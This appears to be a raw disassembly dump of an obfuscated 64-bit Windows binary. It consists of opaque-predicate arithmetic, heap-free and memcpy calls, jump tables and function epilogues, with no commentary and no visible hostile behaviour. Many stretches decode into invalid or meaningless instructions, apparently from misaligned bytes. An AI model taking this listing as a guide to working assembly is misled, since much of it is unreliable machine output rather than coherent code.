mov eax, dword [0x141f42440]
imul eax, dword [0x141f42444]
scasd eax, dword [rdi]
add eax, 0x1e811f7
or eax, 0x2000a048
and eax, 0x6a20ba4e
xor eax, 0x9d542bac
cmp eax, 0x379cfc1e
jb 0x1400c1240
cmp qword [rbx + 8], 0
je 0x1400c12da
mov rax, qword [rbx + 0x10]
nop
mov ecx, dword [0x141f42448]
add ecx, dword [0x141f4244c]
cmp ecx, 0x6ea5416f
je 0x1400c1270
cmp rax, 0x11
jb 0x1400c12c8
nop word [rax + rax]
mov eax, dword [0x141f42450]
imul eax, dword [0x141f42454]
imul rax, rax, 0xd4491b9
shr rax, 0x39
imul eax, eax, 0x17ddcaf5
xor eax, 0x13c214b4
cmp eax, 0x38663b18
jb 0x1400c1290
xor eax, eax
nop dword [rax]
test al, al
jne 0x1400c12c0
mov rsi, qword [rsi - 8]
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi + 0x18], 1
mov eax, 0xc7a839fd
nop word [rax + rax]
mov ecx, dword [str.bhqk]
sub ecx, dword [0x141f4245c]
add dword [rcx + 0x785382c1], eax
push rdx
imul rcx, rax
shr rcx, 0x3f
imul ecx, ecx, 0x6096a284
cmp ecx, 0xffdaec9c
ja 0x1400c12f0
invalid
mov qword [rdi + 0x20], 0
mov qword [rsp + 0x60], rdi
lock dec qword [rdi]
jne 0x1400c13e0
mov eax, dword [0x141f42460]
xor edx, edx
div dword [0x141f42464]
xor eax, 0xe6325173
add eax, 0x23ff0005
cmp eax, 0x652d4b4
jb 0x1400c1379
mov eax, dword [0x141f42468]
add eax, dword [0x141f4246c]
or eax, 0x284ac292
xor eax, 0x706687ab
mov ecx, 0xa96ccd4d
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0xf38a93c4
jbe 0x1400c137b
jmp 0x1400c134e
mov eax, dword [0x141f42470]
xor edx, edx
div dword [0x141f42474]
imul eax, eax, 0x5cc2712
invalid
int3
add eax, 0x2b69be05
mov esi, 0x3db82b69
pop rbp
mov cl, 0xe6
cmp dh, byte [rbx + 0xa]
lea rcx, [rsp + 0x60]
call fcn.1400bf470
mov edi, 0xd169e9b5
lea rsi, [rsp + 0x60]
je 0x1400c13d2
invalid
nop
mov ebx, dword [0x141f42478]
add ebx, dword [0x141f4247c]
or ebx, 0x9cfd5781
xor ebx, 0x7f927c88
imul rbx, rdi
shr rbx, 0x3c
mov rcx, rsi
call fcn.1400bf470
cmp ebx, 0x5cbaabd
retf
invalid
ja 0x1400c13b0
retf
movaps xmm6, xmmword [rsp + 0x1060]
add rsp, 0x1078
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rcx - 0x3ec9dd03], al
retf 0x850f
mov ebp, dword [0x141f42390]
xor ebp, dword [0x141f42394]
or ebp, 0x2ab99ac7
add ebp, 0xb8b98b34
or ebp, 0x77b08400
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebp, 0x4569fc53
cld
invalid
jae 0x1400c1479
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400c142d
mov eax, dword [0x141f42398]
xor edx, edx
div dword [0x141f4239c]
imul eax, eax, 0x6a094b79
add eax, 0x56d1a1d8
cmp eax, 0x7a547f11
ja 0x1400c14c6
mov eax, dword [0x141f423a0]
or eax, dword [0x141f423a4]
add eax, 0x58b761ed
invalid
mov bh, 0x58
mov edx, 0xba591071
imul rdx, rax
shr rdx, 0x3f
invalid
mov rcx, qword [0x141f49060]
cmp edx, 0xf3267dd6
jne 0x1400c14cf
mov rax, qword [0x141f49060]
jmp 0x1400c1499
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word [rax + rax]
mov eax, dword [0x141f423a8]
sub eax, dword [0x141f423ac]
and eax, 0x5e21ec21
add eax, 0x219bfd65
std
wait
and dword [0x17ffa3ad1], esi
std
wait
and dword [0x17ffa3ad1], esi
cmp eax, 0x8a21c764
ja 0x1400c14e0
jmp case.0x1400c0ea5.0
mov eax, dword [0x141f42488]
or eax, dword [0x141f4248c]
imul eax, eax, 0x95ac1ad
or eax, 0xcbb81f12
cmp eax, 0x4e857e64
je 0x1400c1570
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
scasd eax, dword [rdi]
enter 0xffffffffffffc148, 0xffffffffffffffe9
cmp eax, 0x552cf981
xor eax, 0x89d677bd
invalid
and eax, 3
nop
mov ecx, dword [0x141f424d0]
or ecx, dword [0x141f424d4]
add ecx, 0x2f9c6d65
imul rcx, rcx, 0x20dcf18d
shr rcx, 0x3d
imul ecx, ecx, 0x6519833a
cmp ecx, 0x684fdffc
je 0x1400c1610
lea rcx, [0x141f274e4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, dword [0x141f424e0]
imul eax, dword [0x141f424e4]
add eax, 0x1e80e87
add eax, 0x1e80e87
xor eax, 0x32956604
add eax, 0x10f21eba
or eax, 0xdacadf65
cmp eax, 0x7b710382
jb 0x1400c1650
mov rbx, qword [rsi - 1]
mov rsi, qword [rsi + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400c1690
mov rcx, rbx
call rax
nop dword [rax + rax]
mov eax, dword [0x141f424e8]
sub eax, dword [0x141f424ec]
imul eax, eax, 0x952f685b
add eax, 0x21644713
cmp eax, 0x7fe6c3ca
jb 0x1400c1690
cmp qword [rsi + 8], 0
je 0x1400c172c
mov rax, qword [rsi + 0x10]
mov ecx, 0xbcdd4f15
nop
mov edx, dword [0x141f424f0]
and edx, dword [0x141f424f4]
and edx, 0x68791ca7
imul edx, edx, 0xe1176ef5
imul rdx, rcx
shr rdx, 0x3f
cmp edx, 0xe14865eb
ja 0x1400c16c0
cmp rax, 0x11
jb 0x1400c171a
nop
mov eax, dword [0x141f424f8]
xor edx, edx
div dword [0x141f424fc]
imul eax, eax, 0xc4c49c11
or eax, 0x104fadaf
imul eax, eax, 0x297f0f09
cmp eax, 0x89c99274
ja 0x1400c16f0
mov rbx, qword [rbx - 8]
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [0x141f49060]
mov eax, dword [0x141f42500]
add eax, dword [0x141f42504]
and eax, 0x9ae80ab7
imul rax, rax, 0x56d33809
shr rax, 0x3b
add eax, 0x58770c3
cmp eax, 0x24bc35b2
jbe 0x1400c1769
mov rcx, rsi
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f42508]
xor edx, edx
div dword [0x141f4250c]
and eax, 0x7267efc2
imul r14, rax, 0xdeb4233
shr r14, 0x38
add r14d, 0x17851424
mov rcx, rsi
xor edx, edx
mov r8, rdi
call rbx
cmp r14d, 0xc975458
jb 0x1400c1770
jmp 0x1400c1570
add byte [rax - 0x39], cl
or byte [rax], r9b
add byte [rax], al
add bl, ch
ret 0x58b
invalid
invalid
mov eax, dword [0x141f45e88]
sub eax, dword [0x141f45e8c]
add dword [rbx], ebp
add eax, 0x1e68a74
or eax, 0x7055df3c
imul eax, eax, 0x3097d930
xchg edi, eax
xor byte [0x18f647628], al
jo 0x1400dd487
sal byte [rax], 0xd9
xchg edi, eax
xor byte [0x18f647628], al
cmp eax, 0x8181d144
xor dword [rdx + 0x2b], 0x8a5b058b
out 1, al
invalid
jb 0x1400dd45a
mov eax, dword [0x141f45e90]
imul eax, dword [0x141f45e94]
add eax, 0x77c1c01c
and eax, 0x7490ace7
add eax, 0xb115466a
mov qword [rsi + 0x10], 0
cmp eax, 0xcf7a90
nop
jp 0x1400dd426
add byte [rbx + 0x16], dh
mov qword [rsi + 0x10], 0
adc byte [rax], al
add byte [rax], al
add bl, ch
retf
jmp 0x1400dd42f
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
mov eax, dword [0x141f45e98]
out 1, al
add eax, dword [0x141f45e9c]
and eax, 0x1c92cf76
iretd
xchg edx, eax
sbb al, 5
pushfq
invalid
cdq
clc
iretd
cdq
clc
cmp eax, 0x876e52d1
jb 0x1400dd470
rcl dword [rdx + 0x6e]
xchg dword [rdx - 0x1d], esi
lea rsp, [rbp + 8]
lea esp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
in al, dx
test cl, cl
je 0x1400ddc70
mov rsi, r9
mov rdi, r8
mov rbx, rdx
movzx eax, cl
invalid
rol dword [rbx - 0x7bf0fe08], 0x96
add byte [rax], al
add byte [rbx - 0x7af0fd08], al
clc
add cl, byte [rdi]
test dword [rsi], ebp
add dword [rax], eax
cmp eax, 1
je 0x1400dd55f
cmp eax, 2
jne 0x1400dd600
add dword [rax], eax
invalid
clc
add cl, byte [rdi]
test dword [rsi], ebp
add dword [rax], eax
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
invalid
nop word cs:[rax + rax]
add byte [rbx - 0x19763dfb], cl
add dword [rbx], eax
add eax, 0x1e689c0
mov eax, dword [0x141f45ea8]
add eax, dword [0x141f45eac]
or eax, 0x7b9ada2b
imul eax, eax, 0x360f78ec
cmp eax, 0x66e1a951
jb 0x1400dd4e0
mov rax, qword [rsi]
movabs rcx, 0x8000000000000000
nop dword [rax + rax]
mov edx, dword [str.Kb_t_r_b]
and edx, dword [0x141f45eb4]
add dword [rcx + 0x47f7c9c2], eax
mov al, byte [rcx + 0x414cd9e2]
jns 0x1400dd4aa
cli
lodsb al, byte [rsi]
jne 0x1400dd544
invalid
ja 0x1400dd510
add dword [rcx + 0x47f7c9c2], eax
mov al, byte [rcx + 0x414cd9e2]
jns 0x1400dd4aa
cli
lodsb al, byte [rsi]
jne 0x1400dd544
invalid
mov edx, dword [0x141f45eb8]
add edx, dword [0x141f45ebc]
xor edx, 0x75cd903
add edx, 0x2926b742
and edx, 0x92858359
loop 0x1400dd5a4
invalid
invalid
xchg edx, eax
mov dil, 0x26
sub dword [rcx - 0x7a7ca61e], eax
xchg edx, eax
cmp edx, 0xa97ab228
je 0x1400dd530
cmp rax, rcx
jne 0x1400ddc70
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8, rdi
clc
call fcn.140092290
movzx ecx, byte [rsp + 0x20]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x40]
nop
mov eax, dword [0x141f45ec0]
add eax, dword [0x141f45ec4]
cmp byte [rcx + 0x403501e6], cl
invalid
invalid
invalid
mov esi, esp
add dword [0x1821015d1], esi
and eax, 0xd2434040
imul eax, eax, 0x82481d43
sbb eax, 0x9e3d8248
movsd dword [rdi], dword [rsi]
push 0x72
invalid
sbb eax, 0x9e3d8248
movsd dword [rdi], dword [rsi]
push 0x72
fld qword [rbx - 0x78f0f907]
and dword [0x10896d5ae], eax
cmp ecx, 6
ja case.default.0x1400dd5c2
mov eax, ecx
lea rdx, [0x141f274f4]
movsxd r10, dword [rdx + rax*4]
add r10, rdx
mov rdx, rdi
mov rax, rbx
jmp r10
add r8, 4
jmp 0x1400dd6c1
mov eax, dword [0x141f45ed8]
xor eax, dword [0x141f45edc]
add dword [rbx], esi
add eax, 0x1e68900
add eax, 0x26d670a6
or eax, 0x326fb98
and eax, 0x9377ffbf
cmp eax, 0x1e79a58b
jb case.0x1400dd5c2.5
mov eax, 2
jmp 0x1400dd6c4
mov eax, dword [0x141f45ea0]
or eax, dword [0x141f45ea4]
xor eax, 0x99032d11
imul eax, eax, 0xfcfed0e2
or eax, 0x4aaec4ce
cmp eax, 0x375b1afd
je 0x1400dd600
jmp 0x1400dda17
mov eax, 6
jmp 0x1400dd6c4
add r8, 8
lea r10, [r9 + 1]
nop word [rax + rax]
nop dword [rax + rax]
mov eax, dword [0x141f45ec8]
xor edx, edx
div dword [0x141f45ecc]
add eax, 0xec49028f
or eax, 0xc04e142f
cmp eax, 0x585b3339
je 0x1400dd640
xor eax, eax
nop word cs:[rax + rax]
test r9, r9
mov rdx, r10
cmove rdx, r9
test al, al
jne 0x1400dd670
add r8, rdx
jmp 0x1400dd6c1
add r8, 2
nop word [rax + rax]
mov eax, dword [0x141f45ed0]
sub eax, dword [str.yET7]
xor eax, 0xa5d7998a
imul eax, eax, 0x7bf9fe5a
add eax, 0x539f286b
cmp eax, 0xb0d02a50
ja 0x1400dd690
lea rax, [r9 + 1]
test r9, r9
cmove rax, r9
add r8, rax
mov rax, r8
mov rdx, rdi
sub rdx, rax
jb 0x1400ddad9
add rax, rbx
nop word cs:[rax + rax]
mov r8d, dword [0x141f45ef0]
imul r8d, dword [0x141f45ef4]
xor r8d, 0x19304221
sbb dword [rcx - 0x7f], eax
enter 0xffffffffffffa446, 0xd
imul r8d, r8d, 0x1eed4626
cmp r8d, 0xa63f6b3f
ja 0x1400dd6e0
nop dword [rax]
mov r8d, dword [0x141f45ef8]
imul r8d, dword [0x141f45efc]
and r8d, 0x4235c071
add r8d, 0xb4490759
or r8d, 0x958303e9
cmp r8d, 0x5438e714
jb 0x1400dd710
test rdx, rdx
je 0x1400dd790
movzx eax, byte [rax]
nop word cs:[rax + rax]
mov edx, dword [0x141f45f00]
or edx, dword [0x141f45f04]
imul rdx, rdx, 0x420c8e97
shr rdx, 0x3b
or edx, 0x596ac499
xor edx, 0xe3f1c652
cmp edx, 0x2fcf8e95
jb 0x1400dd750
cmp eax, 0x2f
je 0x1400dd7f7
cmp eax, 0x5c
je 0x1400dd7f7
jmp 0x1400dd7b3
mov eax, dword [0x141f45f10]
add eax, dword [str.Pz_U]
xor eax, 0x38804717
imul eax, eax, 0x2cafd90c
add eax, 0xf8fad960
cmp eax, 0x19ec2ce5
jb 0x1400dd790
add cl, 0xfb
cmp cl, 1
ja 0x1400dd7f7
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x1400ddb7b
mov rdi, qword [rsi + 8]
mov rbx, qword [0x141f49060]
mov eax, dword [0x141f45f18]
or eax, dword [0x141f45f1c]
imul eax, eax, 0xc2eb8dcc
cmp eax, 0x5df7670b
je 0x1400ddb6b
jmp 0x1400ddb30
mov rcx, rbx
mov rdx, rdi
call fcn.1400a1c80
mov r15, rax
mov r14, rdx
nop dword [rax + rax]
mov eax, dword [0x141f45f40]
mov ecx, dword [0x141f45f44]
add eax, ecx
add eax, 0x491c8901
imul rcx, rax, 0x159182cd
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
cmp eax, 0x1a2390bd
ja 0x1400dd810
test r15, r15
je 0x1400dd922
mov eax, dword [0x141f45f48]
imul eax, dword [0x141f45f4c]
mov ecx, 0xae2a7819
imul rcx, rax
shr rcx, 0x3e
imul eax, ecx, 0xdac74732
and eax, 0xbf5f3356
cmp eax, 0xe5a7a8c2
jne 0x1400dd880
mov rcx, r15
mov rdx, r14
call fcn.1400a1c80
nop
mov edi, dword [0x141f45f50]
imul edi, dword [0x141f45f54]
add edi, 0x2f3f8e49
or edi, 0x873e9216
xor edi, 0x7350dba4
mov rcx, r15
mov rdx, r14
call fcn.1400a1c80
cmp edi, 0x9d9d7887
jb 0x1400dd880
mov rbx, r15
nop word cs:[rax + rax]
mov rdi, r14
test rax, rax
je 0x1400dd922
mov r14, rdx
mov rbx, rax
nop
mov eax, dword [0x141f45f58]
sub eax, dword [0x141f45f5c]
and eax, 0x9355c95c
cmp eax, 0xb4cf5a4b
je 0x1400dd8d0
mov rcx, rbx
mov rdx, r14
call fcn.1400a1c80
nop word cs:[rax + rax]
mov ecx, dword [0x141f45f60]
or ecx, dword [0x141f45f64]
or ecx, 0xff5ee7ef
imul ecx, ecx, 0x7a93c873
cmp ecx, 0xbef4273f
jbe 0x1400dd900
jmp 0x1400dd8c0
test rdi, rdi
js 0x1400dda17
nop dword [rax + rax]
mov eax, dword [0x141f45f68]
imul eax, dword [0x141f45f6c]
or eax, 0x435b59d3
imul rax, rax, 0x152a135b
shr rax, 0x39
and eax, 0xfffffffa
cmp eax, 0xda91c9ec
ja 0x1400dd930
nop word [rax + rax]
mov eax, dword [0x141f45f70]
sub eax, dword [0x141f45f74]
xor eax, 0x10000000
and eax, 0x11800021
cmp eax, 0x914d5374
ja 0x1400dd960
test rdi, rdi
je 0x1400dda19
movzx eax, byte [0x141f49078]
mov eax, dword [0x141f45f78]
imul eax, dword [0x141f45f7c]
imul eax, eax, 0x3bf14181
cmp eax, 0xe6f62f47
jne 0x1400dd9c0
xor ecx, ecx
mov rdx, rdi
call fcn.1400c6170
nop word cs:[rax + rax]
mov eax, dword [0x141f45f80]
xor eax, dword [0x141f45f84]
imul ebp, eax, 0xc782b974
or ebp, 0xdb352c7b
xor ecx, ecx
mov rdx, rdi
call fcn.1400c6170
cmp ebp, 0xff858b99
je 0x1400dd9c0
mov r14, rax
nop dword [rax]
mov eax, dword [0x141f45f88]
and eax, dword [0x141f45f8c]
add eax, 0x74514c4e
xor eax, 0xe49c9d2e
add eax, 0x35ca4a01
cmp eax, 0x3086b929
jb 0x1400dd9f0
test r14, r14
jne 0x1400dda1f
ud2
mov r14d, 1
mov eax, dword [0x141f45f90]
or eax, dword [0x141f45f94]
xor eax, 0x7bc27b5
imul eax, eax, 0xe8c4cece
or eax, 0xe41b4060
cmp eax, 0xac261191
jne 0x1400dda50
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x141f45f98]
xor edx, edx
div dword [0x141f45f9c]
xor eax, 0x5e7ce941
imul eax, eax, 0x9a835b48
shr eax, 4
imul r15, rax, 0x833fb59
shr r15, 0x37
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp r15d, 0x675b3956
je 0x1400dda50
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x1400ddaac
mov r8, qword [rsi + 8]
mov rcx, qword [0x141f49060]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f45fa0]
sub eax, dword [0x141f45fa4]
and eax, 0xb677729f
cmp eax, 0xf93b87cd
je 0x1400ddc45
jmp 0x1400ddc1a
xor eax, eax
nop
test al, al
jne 0x1400ddad0
jmp 0x1400dda17
mov eax, dword [0x141f45ee0]
and eax, dword [0x141f45ee4]
or eax, 0xf6bdef76
add eax, 0x9d3cd4eb
cmp eax, 0x85c65d7d
jae 0x1400ddb00
ud2
mov eax, dword [0x141f45ee8]
xor eax, dword [0x141f45eec]
imul rax, rax, 0x59190ddf
shr rax, 0x3d
imul eax, eax, 0x1e408522
add eax, 0xcca350a
ud2
mov eax, dword [0x141f45f20]
sub eax, dword [0x141f45f24]
imul eax, eax, 0x727a9a67
imul r14, rax, 0x3300a8a5
shr r14, 0x3c
xor r14d, 0x913b425b
mov rcx, rbx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14d, 0x8bb16701
jae 0x1400ddb7b
mov rcx, rbx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400ddb30
movabs rax, 0x8000000000000000
mov ecx, dword [0x141f45f28]
add ecx, dword [0x141f45f2c]
imul ecx, ecx, 0xf443b8b9
add ecx, 0x8bd95261
imul rdx, rcx, 0xdabe36d
shr rdx, 0x20
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1d
cmp ecx, 0xf9c1a7a
jbe 0x1400ddbbc
mov qword [rsi], rax
mov ecx, 0x9dcaa93b
nop word cs:[rax + rax]
mov edx, dword [0x141f45f30]
xor edx, dword [0x141f45f34]
shr edx, 1
imul rdx, rcx
shr rdx, 0x3c
add edx, 0xd096942a
and edx, 0xd012141e
mov qword [rsi], rax
cmp edx, 0x687a76ab
jb 0x1400ddbd0
nop dword [rax]
mov eax, dword [0x141f45f38]
or eax, dword [0x141f45f3c]
and eax, 0x110b4a88
cmp eax, 0x72d775c
je 0x1400ddc00
jmp 0x1400ddc70
mov eax, dword [0x141f45fa8]
xor edx, edx
div dword [0x141f45fac]
imul eax, eax, 0x3924e29a
add eax, 0xe54db6d0
mov qword [rsi], rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
cmp eax, 0xd39d7cce
jae 0x1400ddc52
mov qword [rsi], rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
jmp 0x1400ddc1a
mov eax, dword [0x141f45fb0]
sub eax, dword [0x141f45fb4]
add eax, 0x19455431
cmp eax, 0x47bed71b
jb 0x1400ddcc7
jmp 0x1400ddca0
mov eax, dword [0x141f45f08]
imul eax, dword [0x141f45f0c]
xor eax, 0xc0810048
or eax, 0x7a4e97
add eax, 0xcf3c1115
cmp eax, 0xb387b1
jb 0x1400ddc70
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov eax, dword [0x141f45fb8]
xor edx, edx
div dword [0x141f45fbc]
mov byte [rsi + 0x18], 0
mov ecx, dword [rsp + 0x20]
mov dword [rsi + 0x19], ecx
mov ecx, dword [rsp + 0x23]
mov dword [rsi + 0x1c], ecx
cmp eax, 0x97c06034
jne 0x1400ddc70
mov byte [rsi + 0x18], 0
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x23]
mov dword [rsi + 0x19], eax
mov dword [rsi + 0x1c], ecx
jmp 0x1400ddca0
inc byte [rax]
add byte [rax + 0x29], cl
invalid
movabs byte [0x8948c429480000fe], al
or byte gs:[rax + 0x10], bh
mov dword [rbp + 0x18], esp
test byte [rdx], ah
xchg dword [rax + 5], eax
and al, 0xb9
shl byte [rcx], 1
pop rbp
jo 0x1400e5106
or al, 0x48
mov dword [rdi], 0
mov edx, edi
and byte [rbx + rdi], dh
jb 0x1400e5252
shr cl, 0x5f
add al, byte [rax]
add byte [rdi], cl
invalid
xchg edi, eax
cli
loope 0x1400e5464
sahf
add al, 0x66
mov dword [rdx - 0x60], r10d
push rdx
invalid
push rdx
movabs al, byte [0x42c6024754b70f44]
add r8b, r14b
invalid
mov esi, 0x89446604
push rdx
rol byte [rdi + rcx - 0x49], 0x54
add al, 0xc6
fiadd word [rsi + r12*2]
mov dword [rdx - 0x20], r10d
add ecx, 4
or byte [rax + 0x39], 0xca
and esi, esp
add dword [rcx + 0x110010f2], eax
xor edx, 0x20110010
or edx, 0xd74a710d
xlatb
add ecx, dword [rcx - 0x3f]
loopne 0x1400e55dc
add al, byte [rbp + 0x31]
leave
add al, 0xa
add ebp, dword [rcx - 0x40]
cdq
add dword [rsi + 0xaa8352d], ebp
jnp 0x1400e55d9
cmp dword [rax + rcx*2], edx
shr eax, 0x3c
or esi, dword [rdx - 0x29]
test dword [rsi + 0x48000001], esp
sub esp, 0x20
mov ecx, dword [rbp + 0x58]
pop rax
invalid
jge 0x1400e56ec
add byte [rax], al
adc dword [rax - 0x75], ecx
pop r8
ja 0x1400e5748
add byte [rax], al
insb byte [rdi], dx
or eax, dword [rax]
add byte [rbx + 8], bh
mov ebx, 8
add byte [rax], al
shl dword [rbp + 0x48], 1
shr eax, 0x3e
add byte [rax], al
and al, 0x41
mov dword [rsp + 4], esi
out 1, al
mov dh, 5
loop 0x1400e58db
jp 0x1400e58ae
add eax, 0x28ef3dea
int3
js case.0x1400a4df4.142
invalid
shr eax, 0x3b
int1
nop word cs:[rax + rax]
invalid
add eax, 0x1e619af
add eax, 0x1e61981
scasd eax, dword [rdi]
enter 0xffffffffffffc148, 0xffffffffffffffe9
imul eax, ecx, 0x97b122af
mov cl, 0x97
mov cl, 0x97
push rbp
mov bl, 0xc8
enter 0xffffffffffffc148, 0xffffffffffffffe9
xor ecx, 0xe3ca2855
cmp esi, dword [rdx - 0x1f]
sbb esi, esp
add dword [0x1bbc77dae], eax
mov edx, ecx
invalid
add esp, 0x20
add esp, 0x20
or eax, esp
test eax, 0xf66e674
invalid
stc
push 0x60
fcom dword [rcx + 0xb0f0473]
jmp 0x1400e998e
push rsp
add byte [rax], al
add al, ch
call 0x1880e9dd8
invalid
invalid
sub esp, eax
invalid
add al, ch
mov esi, 0x480000af
sub rsp, rax
in eax, 0x81
stc
jo 0x1400e9d2a
pop rdi
cld
invalid
or al, 0xf
and esp, 4
add byte [rax], al
invalid
and dword [rcx - 0x37], ebp
invalid
invalid
pop rbp
jmp 0x18a989435
stosd dword [rdi], eax
or eax, 0xeb0e73af
invalid
cmp eax, 0x1e3c1f2
adc ecx, dword [rax - 0x7d]
in al, dx
and byte [rax - 0x77], cl
fcos
adc eax, 0x1e619
invalid
mov edx, 0x4cc08941
mov esi, dword [rbp - 8]
sub esp, 0x20
sub esi, ebp
dec dword [rax - 0x7d]
invalid
or byte [rax + 0x39], 7
nop word cs:[rax + rax]
xchg edx, eax
je 0x1400e9f33
fisttp word [rdx]
add eax, dword [rax]
add byte [rax - 0x7d], cl
stc
adc byte [rdi], cl
xchg dword [rsi], ecx
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1e3d632
xor dl, dh
jrcxz 0x1400e9f2f
xor dl, dh
jrcxz 0x1400e9f2f
invalid
add ecx, eax
test byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rsi + 0x2e], r12b
or byte [rsi + 0x2e], ah
nop dword [rax + rax]
in eax, 1
xchg ebp, eax
jmp 0x182082127
pop rsp
and rax, 0x3ec18147
leave
jae 0x1400e9fd5
add r9d, 0xe73c93e
mov ecx, dword [rbp + 0xf]
invalid
or eax, 0x1e5da2f
int1
fimul dword [rcx]
add byte [rcx - 0x706b5207], al
ja 0x1400e9ff0
invalid
loope 0x1400ea119
retf
or byte [rcx - 0x797caef9], bh
invalid
add byte [rax], al
add byte [rax], al
je 0x1400ea114
invalid
invalid
add dword [rcx - 0x40], ebp
cld
mov eax, 0x1d0d962c
mov ss, word [rsp + rdi*8 + 0x121ac069]
cld
invalid
rcr byte [rdx], 0x12
mov byte [rax - 0x45fa14c3], ah
invalid
add dword [rcx - 0x3104801f], eax
imul ecx, ecx, 0x7d46e9bd
jg 0x1400ea1ab
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
invalid
invalid
test eax, eax
invalid
mov al, 5
mov ah, byte [rsi - 0x77bb7843]
cmp eax, 0xeb4fbe61
invalid
invalid
invalid
invalid
int3
movzx eax, byte [rcx]
mov rsi, rcx
nop
mov ecx, dword [0x141f47a40]
add ecx, dword [0x141f47a44]
xlatb
in eax, 1
xlatb
in eax, 1
and ecx, 0x119a3632
imul ecx, ecx, 0x7949de00
leave
add dh, bl
invalid
invalid
cmp ecx, 0xc04dd4ed
je 0x1400ea2e0
mov ecx, dword [0x141f47a48]
and ecx, dword [0x141f47a4c]
and ecx, 0x1132a062
xor dl, byte [rcx]
or ecx, 0xe4cd5f14
imul ecx, ecx, 0x99d8f2f8
fcomp dword [rcx - 0x686e067f]
pop rbx
xchg edi, eax
jb case.0x14009f7ef.280
fimul dword [rax - 0x7d]
clc
invalid
cmp rax, 0xf
ja case.default.0x1400ea33e
lea rcx, [0x141f275a4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
ret
mov eax, dword [0x141f47a70]
add eax, dword [0x141f47a74]
xor eax, 0x74ed402a
and eax, 0x7dede23e
jge case.0x1400a653b.169
imul eax, eax, 0x79cd2c23
jns 0x1400ea3b6
shr rax, 0x3b
shr eax, 0x3b
cmp eax, 0xc68fbe0b
or edi, dword [rsi - 0x27883971]
ja case.0x1400ea33e.14
mov rdi, qword [rsi + 0x10]
mov r14, qword [rsi + 0x18]
test r14, r14
invalid
je 0x1400ea3a1
mov rbx, rdi
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
mov rcx, rbx
call fcn.1400ea2d0
invalid
dec dword [rax - 0x7d]
ret
invalid
dec r14
jne case.0x1400dd5c2.59
mov eax, 0xbc5d5623
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rbx - 0x1a293df3], cl
add dword [rbx], ecx
or eax, 0x1e5d6c0
rcl dh, 0xe5
invalid
mov ecx, dword [0x141f47a78]
or ecx, dword [0x141f47a7c]
imul rcx, rax
shr rcx, 0x3f
imul ecx, ecx, 0x6c68922f
leave
invalid
xchg edx, eax
invalid
insb byte [rdi], dx
enter 0xffffffffffffc148, 0xffffffffffffffe9
invalid
push 0xffffffff96f9816c
loop 0x1400ea41c
cmp ecx, 0xec4de296
in al, dx
je 0x1400ea3b0
mov rcx, qword [rsi + 8]
mov eax, dword [0x141f47a80]
xor edx, edx
div dword [0x141f47a84]
invalid
invalid
in eax, 1
nop word cs:[rax + rax]
mov eax, dword [0x141f47a88]
or eax, dword [0x141f47a8c]
invalid
add dword [rax + 0x69], ecx
ror byte [rdi + 0x4a], 0xe0
loopne case.0x1400a68a0.184
invalid
invalid
imul rax, rax, 0x39e04a4f
shr rax, 0x3c
imul eax, eax, 0x8ff0b412
invalid
invalid
and eax, 0x42e2f0a6
cmp eax, 0xfc7bd35e
call 0x152cf0d46
mov ah, 0xf0
invalid
invalid
ja 0x1400ea3f0
test rcx, rcx
je case.0x1400ea33e.0
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rdi
mov eax, edi
jmp 0x1400ea586
add byte [rax], al
add byte [rax], al
in eax, 1
cmp al, 0x35
xor dword [rsi + 0x13de6d3], esp
invalid
add dword [rdi + rbx*2], eax
pop rdi
stosb byte [rdi], al
invalid
add byte [rax], al
